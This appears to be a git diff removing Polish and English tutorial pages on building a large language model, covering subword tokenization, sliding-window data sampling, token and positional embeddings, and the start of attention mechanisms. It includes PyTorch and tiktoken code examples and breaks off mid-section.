Podczas gdy podstawowy tokenizator dobrze działa w przypadku prostych tekstów, ma ograniczenia, szczególnie w przypadku dużych słowników i obsługi nowych lub rzadkich słów. Zaawansowane metody tokenizacji rozwiązują te problemy, dzieląc tekst na mniejsze podjednostki lub optymalizując proces tokenizacji.
|
||||
|
||||
1. **Kodowanie par bajtów (BPE):**
|
||||
- **Cel:** Zmniejsza rozmiar słownika i obsługuje rzadkie lub nieznane słowa, dzieląc je na często występujące pary bajtów.
|
||||
- **Jak to działa:**
|
||||
- Zaczyna od pojedynczych znaków jako tokenów.
|
||||
- Iteracyjnie łączy najczęściej występujące pary tokenów w jeden token.
|
||||
- Kontynuuje, aż nie będzie można połączyć więcej częstych par.
|
||||
- **Korzyści:**
|
||||
- Eliminuje potrzebę tokena `[UNK]`, ponieważ wszystkie słowa mogą być reprezentowane przez łączenie istniejących tokenów subword.
|
||||
- Bardziej efektywny i elastyczny słownik.
|
||||
- _Przykład:_\
|
||||
`"playing"` może być tokenizowane jako `["play", "ing"]`, jeśli `"play"` i `"ing"` są częstymi subwordami.
|
||||
2. **WordPiece:**
|
||||
- **Używane przez:** Modele takie jak BERT.
|
||||
- **Cel:** Podobnie jak BPE, dzieli słowa na jednostki subword, aby obsługiwać nieznane słowa i zmniejszać rozmiar słownika.
|
||||
- **Jak to działa:**
|
||||
- Zaczyna od podstawowego słownika pojedynczych znaków.
|
||||
- Iteracyjnie dodaje najczęściej występujący subword, który maksymalizuje prawdopodobieństwo danych treningowych.
|
||||
- Używa modelu probabilistycznego do decyzji, które subwordy połączyć.
|
||||
- **Korzyści:**
|
||||
- Równoważy między posiadaniem zarządzalnego rozmiaru słownika a efektywnym reprezentowaniem słów.
|
||||
- Efektywnie obsługuje rzadkie i złożone słowa.
|
||||
- _Przykład:_\
|
||||
`"unhappiness"` może być tokenizowane jako `["un", "happiness"]` lub `["un", "happy", "ness"]` w zależności od słownika.
|
||||
3. **Model językowy Unigram:**
|
||||
- **Używane przez:** Modele takie jak SentencePiece.
|
||||
- **Cel:** Używa modelu probabilistycznego do określenia najbardziej prawdopodobnego zestawu tokenów subword.
|
||||
- **Jak to działa:**
|
||||
- Zaczyna od dużego zestawu potencjalnych tokenów.
|
||||
- Iteracyjnie usuwa tokeny, które najmniej poprawiają prawdopodobieństwo modelu dla danych treningowych.
|
||||
- Finalizuje słownik, w którym każde słowo jest reprezentowane przez najbardziej prawdopodobne jednostki subword.
|
||||
- **Korzyści:**
|
||||
- Elastyczny i może modelować język w sposób bardziej naturalny.
|
||||
- Często prowadzi do bardziej efektywnych i kompaktowych tokenizacji.
|
||||
- _Przykład:_\
|
||||
`"internationalization"` może być tokenizowane na mniejsze, znaczące subwordy, takie jak `["international", "ization"]`.
|
||||
|
||||
## Przykład kodu
|
||||
|
||||
Zrozummy to lepiej na przykładzie kodu z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Download a text to pre-train the model
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
# Tokenize the code using GPT2 tokenizer version
|
||||
import tiktoken
|
||||
token_ids = tiktoken.get_encoding("gpt2").encode(txt, allowed_special={"[EOS]"}) # Allow the user of the tag "[EOS]"
|
||||
|
||||
# Print first 50 tokens
|
||||
print(token_ids[:50])
|
||||
#[40, 367, 2885, 1464, 1807, 3619, 402, 271, 10899, 2138, 257, 7026, 15632, 438, 2016, 257, 922, 5891, 1576, 438, 568, 340, 373, 645, 1049, 5975, 284, 502, 284, 3285, 326, 11, 287, 262, 6001, 286, 465, 13476, 11, 339, 550, 5710, 465, 12036, 11, 6405, 257, 5527, 27075, 11]
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,240 +0,0 @@
|
||||
# 2. Data Sampling
|
||||
|
||||
## **Data Sampling**
|
||||
|
||||
**Data Sampling** is a crucial process in preparing data for training large language models (LLMs) like GPT. It involves organizing text data into input and target sequences that the model uses to learn how to predict the next word (or token) based on the preceding words. Proper data sampling ensures that the model effectively captures language patterns and dependencies.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this second phase is very simple: **Sample the input data and prepare it for the training phase usually by separating the dataset into sentences of a specific length and generating also the expected response.**
|
||||
|
||||
### **Why Data Sampling Matters**
|
||||
|
||||
LLMs such as GPT are trained to generate or predict text by understanding the context provided by previous words. To achieve this, the training data must be structured in a way that the model can learn the relationship between sequences of words and their subsequent words. This structured approach allows the model to generalize and generate coherent and contextually relevant text.
|
||||
|
||||
### **Key Concepts in Data Sampling**
|
||||
|
||||
1. **Tokenization:** Breaking down text into smaller units called tokens (e.g., words, subwords, or characters).
|
||||
2. **Sequence Length (max_length):** The number of tokens in each input sequence.
|
||||
3. **Sliding Window:** A method to create overlapping input sequences by moving a window over the tokenized text.
|
||||
4. **Stride:** The number of tokens the sliding window moves forward to create the next sequence.
|
||||
|
||||
### **Step-by-Step Example**
|
||||
|
||||
Let's walk through an example to illustrate data sampling.
|
||||
|
||||
**Example Text**
|
||||
|
||||
```arduino
|
||||
"Lorem ipsum dolor sit amet, consectetur adipiscing elit."
|
||||
```
|
||||
|
||||
**Tokenization**
|
||||
|
||||
Assume we use a **basic tokenizer** that splits the text into words and punctuation marks:
|
||||
|
||||
```vbnet
|
||||
Tokens: ["Lorem", "ipsum", "dolor", "sit", "amet,", "consectetur", "adipiscing", "elit."]
|
||||
```
|
||||
|
||||
**Parameters**
|
||||
|
||||
- **Max Sequence Length (max_length):** 4 tokens
|
||||
- **Sliding Window Stride:** 1 token
|
||||
|
||||
**Creating Input and Target Sequences**
|
||||
|
||||
1. **Sliding Window Approach:**
|
||||
- **Input Sequences:** Each input sequence consists of `max_length` tokens.
|
||||
- **Target Sequences:** Each target sequence consists of the tokens that immediately follow the corresponding input sequence.
|
||||
2. **Generating Sequences:**
|
||||
|
||||
<table><thead><tr><th width="177">Window Position</th><th>Input Sequence</th><th>Target Sequence</th></tr></thead><tbody><tr><td>1</td><td>["Lorem", "ipsum", "dolor", "sit"]</td><td>["ipsum", "dolor", "sit", "amet,"]</td></tr><tr><td>2</td><td>["ipsum", "dolor", "sit", "amet,"]</td><td>["dolor", "sit", "amet,", "consectetur"]</td></tr><tr><td>3</td><td>["dolor", "sit", "amet,", "consectetur"]</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td></tr><tr><td>4</td><td>["sit", "amet,", "consectetur", "adipiscing"]</td><td>["amet,", "consectetur", "adipiscing", "elit."]</td></tr></tbody></table>
|
||||
|
||||
3. **Resulting Input and Target Arrays:**
|
||||
|
||||
- **Input:**
|
||||
|
||||
```python
|
||||
[
|
||||
["Lorem", "ipsum", "dolor", "sit"],
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
]
|
||||
```
|
||||
|
||||
- **Target:**
|
||||
|
||||
```python
|
||||
[
|
||||
["ipsum", "dolor", "sit", "amet,"],
|
||||
["dolor", "sit", "amet,", "consectetur"],
|
||||
["sit", "amet,", "consectetur", "adipiscing"],
|
||||
["amet,", "consectetur", "adipiscing", "elit."],
|
||||
]
|
||||
```
|
||||
|
||||
**Visual Representation**
|
||||
|
||||
<table><thead><tr><th width="222">Token Position</th><th>Token</th></tr></thead><tbody><tr><td>1</td><td>Lorem</td></tr><tr><td>2</td><td>ipsum</td></tr><tr><td>3</td><td>dolor</td></tr><tr><td>4</td><td>sit</td></tr><tr><td>5</td><td>amet,</td></tr><tr><td>6</td><td>consectetur</td></tr><tr><td>7</td><td>adipiscing</td></tr><tr><td>8</td><td>elit.</td></tr></tbody></table>
|
||||
|
||||
**Sliding Window with Stride 1:**
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 2-5):** \["ipsum", "dolor", "sit", "amet,"] → **Target:** \["dolor", "sit", "amet,", "consectetur"]
|
||||
- **Third Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Fourth Window (Positions 4-7):** \["sit", "amet,", "consectetur", "adipiscing"] → **Target:** \["amet,", "consectetur", "adipiscing", "elit."]
|
||||
|
||||
**Understanding Stride**
|
||||
|
||||
- **Stride of 1:** The window moves forward by one token each time, resulting in highly overlapping sequences. This can lead to better learning of contextual relationships but may increase the risk of overfitting since similar data points are repeated.
|
||||
- **Stride of 2:** The window moves forward by two tokens each time, reducing overlap. This decreases redundancy and computational load but might miss some contextual nuances.
|
||||
- **Stride Equal to max_length:** The window moves forward by the entire window size, resulting in non-overlapping sequences. This minimizes data redundancy but may limit the model's ability to learn dependencies across sequences.
|
||||
|
||||
**Example with Stride of 2:**
|
||||
|
||||
Using the same tokenized text and `max_length` of 4:
|
||||
|
||||
- **First Window (Positions 1-4):** \["Lorem", "ipsum", "dolor", "sit"] → **Target:** \["ipsum", "dolor", "sit", "amet,"]
|
||||
- **Second Window (Positions 3-6):** \["dolor", "sit", "amet,", "consectetur"] → **Target:** \["sit", "amet,", "consectetur", "adipiscing"]
|
||||
- **Third Window (Positions 5-8):** \["amet,", "consectetur", "adipiscing", "elit."] → **Target:** \["consectetur", "adipiscing", "elit.", "sed"] _(Assuming continuation)_
|
||||
|
||||
## Code Example
|
||||
|
||||
Let's understand this better from a code example from [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
|
||||
```python
|
||||
# Download the text to pre-train the LLM
|
||||
import urllib.request
|
||||
url = ("https://raw.githubusercontent.com/rasbt/LLMs-from-scratch/main/ch02/01_main-chapter-code/the-verdict.txt")
|
||||
file_path = "the-verdict.txt"
|
||||
urllib.request.urlretrieve(url, file_path)
|
||||
|
||||
with open("the-verdict.txt", "r", encoding="utf-8") as f:
|
||||
raw_text = f.read()
|
||||
|
||||
"""
|
||||
Create a class that will receive some params lie tokenizer and text
|
||||
and will prepare the input chunks and the target chunks to prepare
|
||||
the LLM to learn which next token to generate
|
||||
"""
|
||||
import torch
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
"""
|
||||
Create a data loader which given the text and some params will
|
||||
prepare the inputs and targets with the previous class and
|
||||
then create a torch DataLoader with the info
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True,
|
||||
num_workers=0):
|
||||
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset,
|
||||
batch_size=batch_size,
|
||||
shuffle=shuffle,
|
||||
drop_last=drop_last,
|
||||
num_workers=num_workers
|
||||
)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
"""
|
||||
Finally, create the data loader with the params we want:
|
||||
- The used text for training
|
||||
- batch_size: The size of each batch
|
||||
- max_length: The size of each entry on each batch
|
||||
- stride: The sliding window (how many tokens should the next entry advance compared to the previous one). The smaller the more overfitting, usually this is equals to the max_length so the same tokens aren't repeated.
|
||||
- shuffle: Re-order randomly
|
||||
"""
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=4, stride=1, shuffle=False
|
||||
)
|
||||
|
||||
data_iter = iter(dataloader)
|
||||
first_batch = next(data_iter)
|
||||
print(first_batch)
|
||||
|
||||
# Note the batch_size of 8, the max_length of 4 and the stride of 1
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 2885, 1464, 1807, 3619],
|
||||
[ 1464, 1807, 3619, 402],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 402, 271, 10899, 2138],
|
||||
[ 271, 10899, 2138, 257],
|
||||
[10899, 2138, 257, 7026]])
|
||||
]
|
||||
|
||||
# With stride=4 this will be the result:
|
||||
[
|
||||
# Input
|
||||
tensor([[ 40, 367, 2885, 1464],
|
||||
[ 1807, 3619, 402, 271],
|
||||
[10899, 2138, 257, 7026],
|
||||
[15632, 438, 2016, 257],
|
||||
[ 922, 5891, 1576, 438],
|
||||
[ 568, 340, 373, 645],
|
||||
[ 1049, 5975, 284, 502],
|
||||
[ 284, 3285, 326, 11]]),
|
||||
# Target
|
||||
tensor([[ 367, 2885, 1464, 1807],
|
||||
[ 3619, 402, 271, 10899],
|
||||
[ 2138, 257, 7026, 15632],
|
||||
[ 438, 2016, 257, 922],
|
||||
[ 5891, 1576, 438, 568],
|
||||
[ 340, 373, 645, 1049],
|
||||
[ 5975, 284, 502, 284],
|
||||
[ 3285, 326, 11, 287]])
|
||||
]
|
||||
```
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
@ -1,203 +0,0 @@
|
||||
# 3. Token Embeddings
|
||||
|
||||
## Token Embeddings
|
||||
|
||||
Po tokenizacji danych tekstowych, następnym kluczowym krokiem w przygotowaniu danych do trenowania dużych modeli językowych (LLM) takich jak GPT jest tworzenie **token embeddings**. Token embeddings przekształcają dyskretne tokeny (takie jak słowa lub pod-słowa) w ciągłe wektory numeryczne, które model może przetwarzać i z których może się uczyć. To wyjaśnienie rozkłada token embeddings, ich inicjalizację, zastosowanie oraz rolę osadzeń pozycyjnych w poprawie zrozumienia sekwencji tokenów przez model.
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej trzeciej fazy jest bardzo proste: **Przypisz każdemu z poprzednich tokenów w słowniku wektor o pożądanych wymiarach, aby trenować model.** Każde słowo w słowniku będzie punktem w przestrzeni o X wymiarach.\
|
||||
> Zauważ, że początkowo pozycja każdego słowa w przestrzeni jest po prostu inicjowana "losowo", a te pozycje są parametrami, które można trenować (będą poprawiane podczas treningu).
|
||||
>
|
||||
> Co więcej, podczas osadzania tokenów **tworzona jest kolejna warstwa osadzeń**, która reprezentuje (w tym przypadku) **absolutną pozycję słowa w zdaniu treningowym**. W ten sposób słowo w różnych pozycjach w zdaniu będzie miało różne reprezentacje (znaczenie).
|
||||
|
||||
### **What Are Token Embeddings?**
|
||||
|
||||
**Token Embeddings** to numeryczne reprezentacje tokenów w ciągłej przestrzeni wektorowej. Każdy token w słowniku jest powiązany z unikalnym wektorem o stałych wymiarach. Te wektory uchwycają informacje semantyczne i syntaktyczne o tokenach, umożliwiając modelowi zrozumienie relacji i wzorców w danych.
|
||||
|
||||
- **Vocabulary Size:** Całkowita liczba unikalnych tokenów (np. słów, pod-słów) w słowniku modelu.
|
||||
- **Embedding Dimensions:** Liczba wartości numerycznych (wymiarów) w wektorze każdego tokenu. Wyższe wymiary mogą uchwycić bardziej subtelne informacje, ale wymagają więcej zasobów obliczeniowych.
|
||||
|
||||
**Example:**
|
||||
|
||||
- **Vocabulary Size:** 6 tokenów \[1, 2, 3, 4, 5, 6]
|
||||
- **Embedding Dimensions:** 3 (x, y, z)
|
||||
|
||||
### **Initializing Token Embeddings**
|
||||
|
||||
Na początku treningu, token embeddings są zazwyczaj inicjowane małymi losowymi wartościami. Te początkowe wartości są dostosowywane (dostosowywane) podczas treningu, aby lepiej reprezentować znaczenia tokenów na podstawie danych treningowych.
|
||||
|
||||
**PyTorch Example:**
|
||||
```python
|
||||
import torch
|
||||
|
||||
# Set a random seed for reproducibility
|
||||
torch.manual_seed(123)
|
||||
|
||||
# Create an embedding layer with 6 tokens and 3 dimensions
|
||||
embedding_layer = torch.nn.Embedding(6, 3)
|
||||
|
||||
# Display the initial weights (embeddings)
|
||||
print(embedding_layer.weight)
|
||||
```
|
||||
**Wyjście:**
|
||||
```lua
|
||||
luaCopy codeParameter containing:
|
||||
tensor([[ 0.3374, -0.1778, -0.1690],
|
||||
[ 0.9178, 1.5810, 1.3010],
|
||||
[ 1.2753, -0.2010, -0.1606],
|
||||
[-0.4015, 0.9666, -1.1481],
|
||||
[-1.1589, 0.3255, -0.6315],
|
||||
[-2.8400, -0.7849, -1.4096]], requires_grad=True)
|
||||
```
|
||||
**Wyjaśnienie:**
|
||||
|
||||
- Każdy wiersz odpowiada tokenowi w słowniku.
|
||||
- Każda kolumna reprezentuje wymiar w wektorze osadzenia.
|
||||
- Na przykład, token o indeksie `3` ma wektor osadzenia `[-0.4015, 0.9666, -1.1481]`.
|
||||
|
||||
**Dostęp do osadzenia tokenu:**
|
||||
```python
|
||||
# Retrieve the embedding for the token at index 3
|
||||
token_index = torch.tensor([3])
|
||||
print(embedding_layer(token_index))
|
||||
```
|
||||
**Wyjście:**
|
||||
```lua
|
||||
tensor([[-0.4015, 0.9666, -1.1481]], grad_fn=<EmbeddingBackward0>)
|
||||
```
|
||||
**Interpretacja:**
|
||||
|
||||
- Token na indeksie `3` jest reprezentowany przez wektor `[-0.4015, 0.9666, -1.1481]`.
|
||||
- Te wartości to parametry, które można trenować, a model dostosuje je podczas treningu, aby lepiej reprezentować kontekst i znaczenie tokena.
|
||||
|
||||
### **Jak działają osadzenia tokenów podczas treningu**
|
||||
|
||||
Podczas treningu każdy token w danych wejściowych jest konwertowany na odpowiadający mu wektor osadzenia. Te wektory są następnie używane w różnych obliczeniach w modelu, takich jak mechanizmy uwagi i warstwy sieci neuronowej.
|
||||
|
||||
**Przykładowy scenariusz:**
|
||||
|
||||
- **Rozmiar partii:** 8 (liczba próbek przetwarzanych jednocześnie)
|
||||
- **Maksymalna długość sekwencji:** 4 (liczba tokenów na próbkę)
|
||||
- **Wymiary osadzenia:** 256
|
||||
|
||||
**Struktura danych:**
|
||||
|
||||
- Każda partia jest reprezentowana jako tensor 3D o kształcie `(batch_size, max_length, embedding_dim)`.
|
||||
- W naszym przykładzie kształt będzie wynosił `(8, 4, 256)`.
|
||||
|
||||
**Wizualizacja:**
|
||||
```css
|
||||
cssCopy codeBatch
|
||||
┌─────────────┐
|
||||
│ Sample 1 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₁₁, x₁₂, ..., x₁₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ Sample 2 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₂₁, x₂₂, ..., x₂₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
│ ... │
|
||||
│ Sample 8 │
|
||||
│ ┌─────┐ │
|
||||
│ │Token│ → [x₈₁, x₈₂, ..., x₈₂₅₆]
|
||||
│ │ 1 │ │
|
||||
│ │... │ │
|
||||
│ │Token│ │
|
||||
│ │ 4 │ │
|
||||
│ └─────┘ │
|
||||
└─────────────┘
|
||||
```
|
||||
**Wyjaśnienie:**
|
||||
|
||||
- Każdy token w sekwencji jest reprezentowany przez wektor o wymiarach 256.
|
||||
- Model przetwarza te osadzenia, aby nauczyć się wzorców językowych i generować prognozy.
|
||||
|
||||
## **Osadzenia Pozycyjne: Dodawanie Kontekstu do Osadzeń Tokenów**
|
||||
|
||||
Podczas gdy osadzenia tokenów uchwycają znaczenie poszczególnych tokenów, nie kodują one z natury pozycji tokenów w sekwencji. Zrozumienie kolejności tokenów jest kluczowe dla zrozumienia języka. Tutaj wchodzą w grę **osadzenia pozycyjne**.
|
||||
|
||||
### **Dlaczego Osadzenia Pozycyjne Są Potrzebne:**
|
||||
|
||||
- **Kolejność Tokenów Ma Znaczenie:** W zdaniach znaczenie często zależy od kolejności słów. Na przykład, "Kot usiadł na macie" vs. "Mata usiadła na kocie."
|
||||
- **Ograniczenie Osadzenia:** Bez informacji pozycyjnej model traktuje tokeny jako "worek słów", ignorując ich sekwencję.
|
||||
|
||||
### **Rodzaje Osadzeń Pozycyjnych:**
|
||||
|
||||
1. **Osadzenia Pozycyjne Absolutne:**
|
||||
- Przypisują unikalny wektor pozycji do każdej pozycji w sekwencji.
|
||||
- **Przykład:** Pierwszy token w dowolnej sekwencji ma to samo osadzenie pozycyjne, drugi token ma inne, i tak dalej.
|
||||
- **Używane przez:** Modele GPT OpenAI.
|
||||
2. **Osadzenia Pozycyjne Relatywne:**
|
||||
- Kodują względną odległość między tokenami, a nie ich absolutne pozycje.
|
||||
- **Przykład:** Wskazują, jak daleko od siebie znajdują się dwa tokeny, niezależnie od ich absolutnych pozycji w sekwencji.
|
||||
- **Używane przez:** Modele takie jak Transformer-XL i niektóre warianty BERT.
|
||||
|
||||
### **Jak Osadzenia Pozycyjne Są Zintegrowane:**
|
||||
|
||||
- **Te Same Wymiary:** Osadzenia pozycyjne mają tę samą wymiarowość co osadzenia tokenów.
|
||||
- **Dodawanie:** Są dodawane do osadzeń tokenów, łącząc tożsamość tokenu z informacją pozycyjną bez zwiększania ogólnej wymiarowości.
|
||||
|
||||
**Przykład Dodawania Osadzeń Pozycyjnych:**
|
||||
|
||||
Załóżmy, że wektor osadzenia tokenu to `[0.5, -0.2, 0.1]`, a jego wektor osadzenia pozycyjnego to `[0.1, 0.3, -0.1]`. Połączone osadzenie używane przez model byłoby:
|
||||
```css
|
||||
Combined Embedding = Token Embedding + Positional Embedding
|
||||
= [0.5 + 0.1, -0.2 + 0.3, 0.1 + (-0.1)]
|
||||
= [0.6, 0.1, 0.0]
|
||||
```
|
||||
**Zalety osadzeń pozycyjnych:**
|
||||
|
||||
- **Świadomość kontekstowa:** Model potrafi rozróżniać tokeny na podstawie ich pozycji.
|
||||
- **Zrozumienie sekwencji:** Umożliwia modelowi zrozumienie gramatyki, składni i znaczeń zależnych od kontekstu.
|
||||
|
||||
## Przykład kodu
|
||||
|
||||
Poniżej znajduje się przykład kodu z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch02/01_main-chapter-code/ch02.ipynb):
|
||||
```python
|
||||
# Use previous code...
|
||||
|
||||
# Create dimensional emdeddings
|
||||
"""
|
||||
BPE uses a vocabulary of 50257 words
|
||||
Let's supose we want to use 256 dimensions (instead of the millions used by LLMs)
|
||||
"""
|
||||
|
||||
vocab_size = 50257
|
||||
output_dim = 256
|
||||
token_embedding_layer = torch.nn.Embedding(vocab_size, output_dim)
|
||||
|
||||
## Generate the dataloader like before
|
||||
max_length = 4
|
||||
dataloader = create_dataloader_v1(
|
||||
raw_text, batch_size=8, max_length=max_length,
|
||||
stride=max_length, shuffle=False
|
||||
)
|
||||
data_iter = iter(dataloader)
|
||||
inputs, targets = next(data_iter)
|
||||
|
||||
# Apply embeddings
|
||||
token_embeddings = token_embedding_layer(inputs)
|
||||
print(token_embeddings.shape)
|
||||
torch.Size([8, 4, 256]) # 8 x 4 x 256
|
||||
|
||||
# Generate absolute embeddings
|
||||
context_length = max_length
|
||||
pos_embedding_layer = torch.nn.Embedding(context_length, output_dim)
|
||||
|
||||
pos_embeddings = pos_embedding_layer(torch.arange(max_length))
|
||||
|
||||
input_embeddings = token_embeddings + pos_embeddings
|
||||
print(input_embeddings.shape) # torch.Size([8, 4, 256])
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,416 +0,0 @@
|
||||
# 4. Mechanizmy Uwagowe
|
||||
|
||||
## Mechanizmy Uwagowe i Samo-Uwaga w Sieciach Neuronowych
|
||||
|
||||
Mechanizmy uwagowe pozwalają sieciom neuronowym **skupić się na konkretnych częściach wejścia podczas generowania każdej części wyjścia**. Przypisują różne wagi różnym wejściom, pomagając modelowi zdecydować, które wejścia są najbardziej istotne dla danego zadania. Jest to kluczowe w zadaniach takich jak tłumaczenie maszynowe, gdzie zrozumienie kontekstu całego zdania jest niezbędne do dokładnego tłumaczenia.
|
||||
|
||||
> [!TIP]
|
||||
> Celem tej czwartej fazy jest bardzo proste: **Zastosować kilka mechanizmów uwagowych**. Będą to **powtarzające się warstwy**, które będą **uchwycać relację słowa w słownictwie z jego sąsiadami w aktualnym zdaniu używanym do trenowania LLM**.\
|
||||
> Używa się do tego wielu warstw, więc wiele parametrów do uczenia będzie uchwytywać te informacje.
|
||||
|
||||
### Zrozumienie Mechanizmów Uwagowych
|
||||
|
||||
W tradycyjnych modelach sekwencja-do-sekwencji używanych do tłumaczenia języka, model koduje sekwencję wejściową w wektor kontekstowy o stałej wielkości. Jednak podejście to ma trudności z długimi zdaniami, ponieważ wektor kontekstowy o stałej wielkości może nie uchwycić wszystkich niezbędnych informacji. Mechanizmy uwagowe rozwiązują to ograniczenie, pozwalając modelowi rozważać wszystkie tokeny wejściowe podczas generowania każdego tokenu wyjściowego.
|
||||
|
||||
#### Przykład: Tłumaczenie Maszynowe
|
||||
|
||||
Rozważmy tłumaczenie niemieckiego zdania "Kannst du mir helfen diesen Satz zu übersetzen" na angielski. Tłumaczenie słowo po słowie nie dałoby gramatycznie poprawnego zdania w języku angielskim z powodu różnic w strukturach gramatycznych między językami. Mechanizm uwagi umożliwia modelowi skupienie się na istotnych częściach zdania wejściowego podczas generowania każdego słowa zdania wyjściowego, co prowadzi do dokładniejszego i spójnego tłumaczenia.
|
||||
|
||||
### Wprowadzenie do Samo-Uwagi
|
||||
|
||||
Samo-uwaga, lub intra-uwaga, to mechanizm, w którym uwaga jest stosowana w obrębie jednej sekwencji w celu obliczenia reprezentacji tej sekwencji. Pozwala to każdemu tokenowi w sekwencji zwracać uwagę na wszystkie inne tokeny, pomagając modelowi uchwycić zależności między tokenami, niezależnie od ich odległości w sekwencji.
|
||||
|
||||
#### Kluczowe Pojęcia
|
||||
|
||||
- **Tokeny**: Indywidualne elementy sekwencji wejściowej (np. słowa w zdaniu).
|
||||
- **Osadzenia**: Wektorowe reprezentacje tokenów, uchwycające informacje semantyczne.
|
||||
- **Wagi Uwagowe**: Wartości, które określają znaczenie każdego tokenu w stosunku do innych.
|
||||
|
||||
### Obliczanie Wag Uwagowych: Przykład Krok po Kroku
|
||||
|
||||
Rozważmy zdanie **"Hello shiny sun!"** i przedstawmy każde słowo za pomocą 3-wymiarowego osadzenia:
|
||||
|
||||
- **Hello**: `[0.34, 0.22, 0.54]`
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
- **sun**: `[0.29, 0.54, 0.93]`
|
||||
|
||||
Naszym celem jest obliczenie **wektora kontekstowego** dla słowa **"shiny"** przy użyciu samo-uwagi.
|
||||
|
||||
#### Krok 1: Obliczanie Wyników Uwagowych
|
||||
|
||||
> [!TIP]
|
||||
> Po prostu pomnóż każdą wartość wymiaru zapytania przez odpowiednią wartość każdego tokenu i dodaj wyniki. Otrzymasz 1 wartość dla każdej pary tokenów.
|
||||
|
||||
Dla każdego słowa w zdaniu oblicz wynik **uwagi** w odniesieniu do "shiny", obliczając iloczyn skalarny ich osadzeń.
|
||||
|
||||
**Wynik Uwagowy między "Hello" a "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Wynik Uwagowy między "shiny" a "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
**Wynik Uwagowy między "sun" a "shiny"**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
#### Krok 2: Normalizacja Wyników Uwagowych w Celu Uzyskania Wag Uwagowych
|
||||
|
||||
> [!TIP]
|
||||
